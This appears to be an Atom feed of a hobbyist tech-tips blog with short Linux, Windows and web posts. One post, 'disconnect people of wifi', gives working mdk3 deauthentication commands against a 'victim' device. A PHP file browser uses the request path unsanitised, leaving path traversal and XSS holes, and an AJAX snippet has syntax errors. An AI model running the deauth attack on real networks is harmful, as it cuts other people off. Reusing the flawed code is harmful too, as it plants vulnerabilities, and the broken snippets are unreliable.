&lt;p&gt;then go to your web browser and open this:&lt;/p&gt;
&lt;pre&gt;http://localhost:8080/gui/&lt;/pre&gt;
&lt;p&gt;it will ask you for username and password so the username is admin and do not touch the password. Press on login and you should see some thing like the utorrent program that you had before on you pc or mac.&lt;/p&gt;
&lt;p&gt;you can change the username and password by clicking on settings icon(just when you clicked on apply or ok it will re-ask you for the username and password)&lt;br&gt;
then click on directories to make sure you downloads go at the right place&lt;br&gt;
so check the &lt;/p&gt;
&lt;pre&gt;Put new downloads in:&lt;/pre&gt;
&lt;p&gt;box and the add a download directory(ex: /home/me/Downloads)&lt;/p&gt;
</content>
<published>2017-09-15T07:44:00+00:00</published>
<updated>2017-09-15T07:44:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/63'/>
<id>https://wirelessarmy.theproject1.com/63</id>
<author><name>admin</name></author>
</entry> <entry>
<title>text to binary</title> 
<content type='html'>if you just want to convert normal text to binary you, this code will be use full.
it will get a number for every letter using python&#039;s own library ex: ord(&#039;d&#039;) outputs 100
and then it will take the number and convert it to binary
&lt;pre&gt;
#!/usr/bin/env python
 
BITS = (&#039;0&#039;, &#039;1&#039;)
ASCII_BITS = 7

def display_bits(b):
    &quot;&quot;&quot;converts list of {0, 1}* to string&quot;&quot;&quot;
    return &#039;&#039;.join([BITS[e] for e in b])

def pad_bits(bits, pad):
    &quot;&quot;&quot;pads seq with leading 0s up to length pad&quot;&quot;&quot;
    assert len(bits) &lt;= pad
    return [0] * (pad - len(bits)) + bits
    
def convert_to_bits(n):
    &quot;&quot;&quot;converts an integer `n` to bit array&quot;&quot;&quot;
    result = []
    if n == 0:
        return [0]
    while n &gt; 0:
        result = [(n % 2)] + result
        n = n / 2
    return result

def string_to_bits(s):
    def chr_to_bit(c):
        return pad_bits(convert_to_bits(ord(c)), ASCII_BITS)
    return [b for group in 
            map(chr_to_bit, s)
            for b in group]

#it will get the user input as a string
stringtobit = raw_input(&quot;Enter something: &quot;)
#it will print out the result
print display_bits(string_to_bits(stringtobit)) 
&lt;/pre&gt;</content>
<published>2017-09-06T00:35:00+00:00</published>
<updated>2017-09-06T00:35:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/47'/>
<id>https://wirelessarmy.theproject1.com/47</id>
<author><name>admin</name></author>
</entry> <entry>
<title>run an script on startup</title> 
<content type='html'>&lt;p&gt;for this example we are &lt;a href=&quot;#&quot;&gt;disabling the ip version 6 on start up&lt;/a&gt;&lt;br&gt;
because  in some versions of linux it will re-activate it after a reboot&lt;br&gt;
so:&lt;br&gt;
create a text file in Desktop,&lt;br&gt;
name it whateveryouwant.sh (for this example we are using disip6.sh)&lt;br&gt;
put your script in it&lt;/p&gt;
&lt;pre&gt; echo 1 &amp;gt; /proc/sys/net/ipv6/conf/wlan0/disable_ipv6 &lt;/pre&gt;
&lt;p&gt;copy that script into /etc/init.d&lt;br&gt;
run the following commands:&lt;br&gt;
sudo update-rc.d disip6.sh defaults&lt;br&gt;
sudo chmod +x /etc/init.d/disip6.sh&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;br&gt;
on some version of linux you should just add that comment to &lt;/p&gt;
&lt;pre&gt;/etc/rc.local&lt;/pre&gt;
&lt;p&gt;and don’t forget the&lt;/p&gt;
&lt;pre&gt;chmod +x /etc/rc.local&lt;/pre&gt;
&lt;p&gt;and if you want to and another just separate does by &amp;amp;&amp;amp;&lt;/p&gt;
</content>
<published>2017-09-05T19:44:00+00:00</published>
<updated>2017-09-05T19:44:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/65'/>
<id>https://wirelessarmy.theproject1.com/65</id>
<author><name>admin</name></author>
</entry> <entry>
<title>firewall auto on off</title> 
<content type='html'>if you firewall auto enable or auto disable
run
services.msc
find firewall
properties
change the automatic to manual/off/automatic
but before you need to disable the service first to make the change and then re-enable it(the button just bellow in the properties)</content>
<published>2017-09-05T19:44:00+00:00</published>
<updated>2017-09-05T19:44:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/134'/>
<id>https://wirelessarmy.theproject1.com/134</id>
<author><name>admin</name></author>
</entry> <entry>
<title>icons for ios 7</title> 
<content type='html'>if your web app icon does not work on ios 7 it maybe because you need to add the sizes attribute 
&lt;pre&gt;
&amp;lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;
&amp;lt;!-- non-retina iPhone pre iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon57.png&quot; sizes=&quot;57x57&quot;&amp;gt;
&amp;lt;!-- non-retina iPad pre iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon72.png&quot; sizes=&quot;72x72&quot;&amp;gt;
&amp;lt;!-- non-retina iPad iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon76.png&quot; sizes=&quot;76x76&quot;&amp;gt;
&amp;lt;!-- retina iPhone pre iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon114.png&quot; sizes=&quot;114x114&quot;&amp;gt;
&amp;lt;!-- retina iPhone iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon120.png&quot; sizes=&quot;120x120&quot;&amp;gt;
&amp;lt;!-- retina iPad pre iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon144.png&quot; sizes=&quot;144x144&quot;&amp;gt;
&amp;lt;!-- retina iPad iOS 7 --&amp;gt;
&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;icon152.png&quot; sizes=&quot;152x152&quot;&amp;gt;
&lt;/pre&gt;</content>
<published>2017-09-04T13:09:00+00:00</published>
<updated>2017-09-04T13:09:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/27'/>
<id>https://wirelessarmy.theproject1.com/27</id>
<author><name>admin</name></author>
</entry> <entry>
<title>make ajax work on ie</title> 
<content type='html'>&lt;p&gt;here is a javascript code that make sure that user can use ajax on firefox, chrome, Opera safari and internet explorer.&lt;/p&gt;
&lt;p&gt;There is not much to learn here, even I just come here to copy and past these lines.&lt;/p&gt;
&lt;pre lang=&quot;javascript&quot;&gt;var xmlHttp = createXmlHttpRequestObject();

function createXmlHttpRequestObject() {
var xmlHttp;
if(window.ActiveXObject) {
  try {
    xmlHttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;):
    }catch(e) {xmlHttp = false; }
  }
else {
  try {
    xmlHttp = new xmlHttpRequest():
    }catch(e) {xmlHttp = false; }

}
    if(!xmlHttp) {
      alert(&quot;can&#039;t use ajax&quot;);
    }
    else {
      return xmlHttp;
    }
}&lt;/pre&gt;
</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/18'/>
<id>https://wirelessarmy.theproject1.com/18</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Disable ipv6 via command line</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/ItbiWv3la7Y&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;first do&lt;br /&gt; ifconfig&lt;/p&gt;
&lt;p&gt;to see if you are connected to witch network&lt;br /&gt; if you are connected via cable it will be ethnumber (example: eth0 or eth1 or eth&amp;hellip;) and wifi is wlannumber (wlan0 or wlan1 or wlan&amp;hellip;)&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;eth0      Link encap:Ethernet  HWaddr 00:23:8b:cb:51:fa  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 `dropped` :0 overruns:0 frame:0
          TX packets:0 errors:0 `dropped` :0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:47 Base address:0xc000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 `dropped` :0 overruns:0 frame:0
          TX packets:91 errors:0 `dropped` :0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:21865 (21.8 KB)  TX bytes:21865 (21.8 KB)

wlan0     Link encap:Ethernet  HWaddr 00:22:fa:cf:2c:7e  
          inet addr:00.00.00.000  Bcast:00.00.00.000  Mask:255.255.255.252
          &lt;span style=&quot;text-decoration: underline;&quot;&gt;inet6 addr: fe00::000:fcff:fecf:0c0e/64 Scope:Link&lt;/span&gt; 
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1249 errors:0 `dropped` :0 overruns:0 frame:0
          TX packets:1243 errors:0 `dropped` :0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1220497 (1.2 MB)  TX bytes:208576 (208.5 KB)&lt;/pre&gt;
&lt;p&gt;in this example I&amp;rsquo;m connected to wlan0 because it&amp;rsquo;s wifi(i changed my ip addresses to 0 so for you it may look different)&lt;br /&gt; if i&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;cat /proc/sys/net/ipv6/conf/wlan0/disable_ipv6&lt;/pre&gt;
&lt;p&gt;it will give me 0 because my ipv6 is enable so i do&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/wlan0/disable_ipv6&lt;/pre&gt;
&lt;p&gt;now if i do&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;cat /proc/sys/net/ipv6/conf/wlan0/disable_ipv6&lt;/pre&gt;
&lt;p&gt;i will see 1&lt;br /&gt; because it changed to 1 and my ipv6 is disable now&lt;br /&gt; now if you do ifconfig you won&amp;rsquo;t see the line that was underlined previously&lt;/p&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/73'/>
<id>https://wirelessarmy.theproject1.com/73</id>
<author><name>admin</name></author>
</entry> <entry>
<title>disconnect people of wifi</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube-nocookie.com/embed/yNApZSzFUJM&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;here are 2 ways to disconnect people of the wifi (first one will send about 15 packets per second second one will send about 500 packets per second)&lt;/p&gt;
&lt;pre&gt;airmon-ng start wlan0
airodump-ng mon0 
&lt;/pre&gt;
&lt;p&gt;writ down you wifi access point bssid (ex: 00:00:00:00:00:00)&lt;br /&gt; and the channel (ex: 1)&lt;/p&gt;
&lt;pre&gt;airodump-ng -c 1 --bssid 0:00:00:0:00:00 mon0&lt;/pre&gt;
&lt;p&gt;now get the victim mac id (mac id is not pc/mac/linux, it&amp;rsquo;s an id that every pc have and the format is like the bssid)&lt;br /&gt; writ down the victim mac id (ex: 11:11:11:11:11:11)&lt;/p&gt;
&lt;pre&gt;echo 11:11:11:11:11:11 &amp;gt;&amp;gt; banned.txt&lt;/pre&gt;
&lt;p&gt;and attack:&lt;/p&gt;
&lt;pre&gt;mdk3 mon0 d -b banned.txt&lt;/pre&gt;
&lt;p&gt;the second way:&lt;/p&gt;
&lt;pre&gt;mdk3 mon0 x 1 -c 11:11:11:11:11:11 -t 00:00:00:00:00:00&lt;/pre&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/85'/>
<id>https://wirelessarmy.theproject1.com/85</id>
<author><name>admin</name></author>
</entry> <entry>
<title>squid proxy server</title> 
<content type='html'>&lt;p&gt;How to setup a squid proxy server on ubuntu this will cover how to setup the proxy server the how to block sites or pages with special words then how to use a simple authentication that will block ftp or other stuff and only works on http and https (for this you will need to install apache2-utils) first you need to install squid so&lt;/p&gt;
&lt;pre&gt;apt-get install squid3 squid3-common&lt;/pre&gt;
&lt;p&gt;the you need to open the file /etc/squid3/squid.conf most of it (98%) is instructions but you can just directly to lines 690 and after, all lines starting with # are comments first you need to specify your subnet info, this example is for a a router that the ip address start with 192.168.1. and subnet mast of 255.255.255.0&lt;/p&gt;
&lt;pre&gt;acl localnet src 192.168.1.0/24

#this are the ports that you want to allow access you should also specify ssl ports (you can use any port that you want like 21 for ftp)
acl Safe_ports port 80
acl Safe_ports port 443
acl SSL_ports port 443
&lt;/pre&gt;
&lt;p&gt;and then you should allow the connection&lt;/p&gt;
&lt;pre&gt;http_access allow localnet&lt;/pre&gt;
&lt;p&gt;and if you want to block any websites&lt;/p&gt;
&lt;pre&gt;acl block_websites dstdomain .example1.com .example2.com
http_access deny block_websites&lt;/pre&gt;
&lt;p&gt;or for blocking some words just make a file on /etc/squid3 called words.txt and add all words that you want to be filtered 1 per line&lt;/p&gt;
&lt;pre&gt;acl words url_regex -i &quot;/etc/squid3/words.txt&quot;
http_access deny words&lt;/pre&gt;
&lt;p&gt;if you are going to use it only for web browsing, you can add a basic authentication login. first to create a file with the username and password&lt;/p&gt;
&lt;pre&gt;htpasswd -c /etc/squid3/passwd myusername&lt;/pre&gt;
&lt;p&gt;the add the fallowing lines to your squid.conf file&lt;/p&gt;
&lt;pre&gt;auth_param basic program /usr/lib/squid3/ncsa_auth /etc/squid3/passwd
auth_param basic realm any message that you want like login here
#this line will make sure that you don&#039;t need to login every 5 minutes
auth_param basic credentialsttl 1 hours

acl server proxy_auth REQUIRED
http_access deny !server
http_access deny all&lt;/pre&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/91'/>
<id>https://wirelessarmy.theproject1.com/91</id>
<author><name>admin</name></author>
</entry> <entry>
<title>gunzip</title> 
<content type='html'>&lt;p&gt;to install it:&lt;/p&gt;
&lt;pre&gt;apt-get install gunzip&lt;/pre&gt;
&lt;p&gt;to untar a .txt.gz to a .txt&lt;/p&gt;
&lt;pre&gt;gunzip -c x.txt.gz &amp;gt;x.txt&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt; gzip [OPTION]… [FILE]…&lt;br&gt;
Compress or uncompress FILEs (by default, compress FILES in-place).&lt;/p&gt;
&lt;p&gt;Mandatory arguments to long options are mandatory for short options too.&lt;/p&gt;
&lt;p&gt;  -c, –stdout      write on standard output, keep original files unchanged&lt;br&gt;
  -d, –decompress  decompress&lt;br&gt;
  -f, –force       force overwrite of output file and compress links&lt;br&gt;
  -l, –list        list compressed file contents&lt;br&gt;
  -n, –no-name     do not save or restore the original name and time stamp&lt;br&gt;
  -N, –name        save or restore the original name and time stamp&lt;br&gt;
  -q, –quiet       suppress all warnings&lt;br&gt;
  -r, –recursive   operate recursively on directories&lt;br&gt;
  -S, –suffix=SUF  use suffix SUF on compressed files&lt;br&gt;
  -t, –test        test compressed file integrity&lt;br&gt;
  -v, –verbose     verbose mode&lt;br&gt;
  -V, –version     display version number&lt;br&gt;
  -1, –fast        compress faster&lt;br&gt;
  -9, –best        compress better&lt;br&gt;
  –rsyncable       Make rsync-friendly archive&lt;/p&gt;
</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/118'/>
<id>https://wirelessarmy.theproject1.com/118</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Dual screen problem</title> 
<content type='html'>if you ever used a second monitor for your windows laptop or pc, it can be possible that after you disconnecting one of your screens and when you open some of your programs it will not show up.
The reason is because it used to be opened on the other screen. now you got 2 solutions.
connect back your other screen and drag and `drop` your program to the other one
press alt + tab and stay on the program that is open on the other screen. with holding alt press space and the (holding alt) press m. then if ex: your second screen was on the right and your main screen is on the left press the left arrow button and your program should show up.</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/135'/>
<id>https://wirelessarmy.theproject1.com/135</id>
<author><name>admin</name></author>
</entry> <entry>
<title>bitlocker make it work</title> 
<content type='html'>&lt;p&gt;if you try to use bitlocker on your c dirve, you can get a message like this:&lt;br /&gt; &lt;img src=&quot;../images/blog/1bitlocker.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;what you need to do to make it work is to open (use run ) gpedit.msc&lt;/p&gt;
&lt;p&gt;go to&amp;nbsp;&amp;nbsp;Computer Configuration \ Administrative Templates \ Windows Components \ Bit Locker Drive Encryption \ Operating System Drives and double click on&amp;nbsp;&lt;em&gt;Require additional authentication at&amp;nbsp;start up&amp;nbsp;and enable it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;now trype to encrypt you data with bitlocker and it should work just fine.&lt;/p&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/138'/>
<id>https://wirelessarmy.theproject1.com/138</id>
<author><name>admin</name></author>
</entry> <entry>
<title>height 100% not working</title> 
<content type='html'>&lt;p&gt;if the&amp;nbsp;css&amp;nbsp;height 100% for a div is not working, all you need to add to fix it is:&lt;/p&gt;
&lt;pre&gt;*{margin:0;padding:0;} 
html,body{height:100%;}&lt;/pre&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/164'/>
<id>https://wirelessarmy.theproject1.com/164</id>
<author><name>admin</name></author>
</entry> <entry>
<title> multi-level files browser</title> 
<content type='html'>&lt;p&gt;This is a multi-level filder browser where you create a short cut from your image folder to a folder under apache and have only 2 files just under the parent directory and no need to copy files inside all subdirectories.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre&amp;nbsp;requisites:&lt;/strong&gt;&amp;nbsp;apache, php&lt;/p&gt;
&lt;p&gt;in this example i have a img folder under&amp;nbsp;&lt;strong&gt;/mnt/hgfs/images&lt;/strong&gt;&amp;nbsp;so I create a short cut to&lt;strong&gt;/var/www&lt;/strong&gt;&amp;nbsp;with&amp;nbsp;&lt;strong&gt;ln -s /mnt/hgfs/images /var/www/images&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;then I create 2 files in my images folder index.php and .htaccess&lt;/p&gt;
&lt;p&gt;htaccess will redirect everything back to index.php so if you have a folder like&amp;nbsp;&lt;strong&gt;images/travel/part1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;your url will be&amp;nbsp;&lt;a href=&quot;http://localhost/images/travel/part1&quot;&gt;&lt;strong&gt;http://localhost/images/travel/part1&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;but it will still run the code of&lt;strong&gt;index.php&lt;/strong&gt;&amp;nbsp;in&amp;nbsp;&lt;strong&gt;images&lt;/strong&gt;&amp;nbsp;folder so there will be no need to copy past it in all sub directories.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;this will make a href link for all folders and .. to go back, it will show all the images inside a folder where you can scroll down, all other file type will also be a link.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;content inside .htaccess:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DirectoryIndex index.php&lt;/p&gt;
&lt;p&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;br /&gt; RewriteEngine on&lt;/p&gt;
&lt;p&gt;RewriteRule ^index\.php$ - [L,NC]&lt;/p&gt;
&lt;p&gt;# If the request is not for a valid directory&lt;br /&gt; RewriteCond %{REQUEST_FILENAME} -d&lt;br /&gt; # route to index.php in current directory&lt;br /&gt; RewriteRule ^(.+)$ index.php [L,QSA] &lt;br /&gt; &amp;lt;/IfModule&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;content inside index.php:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt; &amp;lt;html&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;head&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;title&amp;gt;file explorer&amp;lt;/title&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;html,body {&lt;/p&gt;
&lt;p&gt;padding: 0px;&lt;/p&gt;
&lt;p&gt;margin: 0px;&lt;br /&gt; &amp;nbsp;background-color:#2d2d2d;&lt;br /&gt; &amp;nbsp;color:#fff;&lt;br /&gt; &amp;nbsp;font-size:24px;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;a{&lt;/p&gt;
&lt;p&gt;color:rgb(245,245,245);&lt;/p&gt;
&lt;p&gt;text-decoration:none;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;a:hover, a:focus {&lt;br /&gt; &amp;nbsp;color:rgb(245,0,0);&lt;/p&gt;
&lt;p&gt;text-decoration:underline;&lt;/p&gt;
&lt;p&gt;}&lt;br /&gt; #container {&lt;br /&gt; &amp;nbsp;clear:both;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;img,video {&lt;/p&gt;
&lt;p&gt;max-height:100vh;&lt;/p&gt;
&lt;p&gt;max-width:100%;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;var h = document.documentElement.clientHeight;&lt;/p&gt;
&lt;p&gt;document.addEventListener(&#039;keydown&#039;, function(event) {&lt;br /&gt; &amp;nbsp;//left arrow&lt;/p&gt;
&lt;p&gt;if(event.keyCode == 37) {&lt;br /&gt; &amp;nbsp;//scroll to down by device height&lt;/p&gt;
&lt;p&gt;window.scrollBy(0, h);&lt;/p&gt;
&lt;p&gt;}&lt;br /&gt; &amp;nbsp;//right arrow&lt;/p&gt;
&lt;p&gt;if(event.keyCode == 39) {&lt;br /&gt; &amp;nbsp;//scroll to top&lt;/p&gt;
&lt;p&gt;window.scrollTo(0, 0);&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;});&lt;/p&gt;
&lt;p&gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/head&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;container&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;/p&gt;
&lt;p&gt;$inc_dir = $_SERVER[REQUEST_URI];&lt;/p&gt;
&lt;p&gt;$inc_dir_space = str_replace(&quot;%20&quot;,&quot; &quot;,$inc_dir);&lt;/p&gt;
&lt;p&gt;$d = dir(&quot;/var/www/&quot;.$inc_dir_space);&lt;/p&gt;
&lt;p&gt;while (false !== ($entry = $d-&amp;gt;read()) ) {&lt;/p&gt;
&lt;p&gt;if( strlen($entry)==1) {&lt;/p&gt;
&lt;p&gt;echo &quot;&quot;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;elseif (preg_match(&#039;[png|jpg]&#039;, $entry)) {&lt;/p&gt;
&lt;p&gt;echo &quot;&amp;lt;img src=&#039;&quot;.$inc_dir_space.$entry.&quot;&#039; /&amp;gt;&amp;lt;br&amp;gt;&quot;.$entry.&quot;&amp;lt;br&amp;gt;&quot;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;elseif (preg_match(&#039;[mp4]&#039;, $entry)) {&lt;/p&gt;
&lt;p&gt;echo &quot;&amp;lt;video controls&amp;gt;&amp;lt;source src=&#039;&quot;.$inc_dir_space.$entry.&quot;&#039; &amp;gt;&quot;.$entry.&quot;&amp;lt;/video&amp;gt;&amp;lt;br&amp;gt;&quot;;&lt;/p&gt;
&lt;p&gt;}&lt;br /&gt; &amp;nbsp;else {&lt;/p&gt;
&lt;p&gt;$a = $b =&quot;&quot;;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //if directory&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!preg_match(&#039;[\.]&#039;, $entry)) {&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $a = &quot;&amp;lt;span id=&#039;green&#039;&amp;gt;&quot;;&lt;/p&gt;
&lt;p&gt;$b = &quot;&amp;lt;/span&amp;gt;&quot;;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &#039;&amp;lt;style type=&quot;text/css&quot;&amp;amp;gt&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #green {&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; color:rgb(0,245,0);&lt;/p&gt;
&lt;p&gt;}&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/style&amp;gt;&#039;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;echo &quot;&amp;lt;a href=&#039;&quot;.$inc_dir_space.$entry.&quot;&#039; &amp;gt;&quot;.$entry.&quot;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&quot;;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;$d-&amp;gt;close();&lt;/p&gt;
&lt;p&gt;?&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/body&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;
&lt;p&gt;this a just a basic proff of concept but if you develope on it more, I would be happy if you shared it in the comment section down blow.&lt;/p&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/206'/>
<id>https://wirelessarmy.theproject1.com/206</id>
<author><name>admin</name></author>
</entry> <entry>
<title>make command not working</title> 
<content type='html'>&lt;p&gt;apt-get install build-essential&lt;/p&gt;</content>
<published>2017-09-04T03:05:00+00:00</published>
<updated>2017-09-04T03:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/211'/>
<id>https://wirelessarmy.theproject1.com/211</id>
<author><name>admin</name></author>
</entry> <entry>
<title>javascript keyboard shortcut </title> 
<content type='html'>&lt;p&gt;if you want to use keyboard shortcuts to your website to make it easier to use. you may need the key code for it. Here is a code sample followed by all the key codes&lt;/p&gt;
&lt;pre&gt;document.addEventListener(&#039;keydown&#039;, function(event) {
    //shift and left arrow
    if( event.shiftKey &amp;amp;&amp;amp;event.keyCode == 37) {
         // go to last article
    }
}&lt;/pre&gt;
&lt;p&gt;event.shiftKey&lt;/p&gt;
&lt;table border=&quot;0&quot; width=&quot;600&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th width=&quot;200&quot;&gt;Key&lt;/th&gt;&lt;th width=&quot;400&quot;&gt;Keyboard code&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backspace&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tab&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enter&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shift&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ctrl&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alt&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pause&lt;/td&gt;
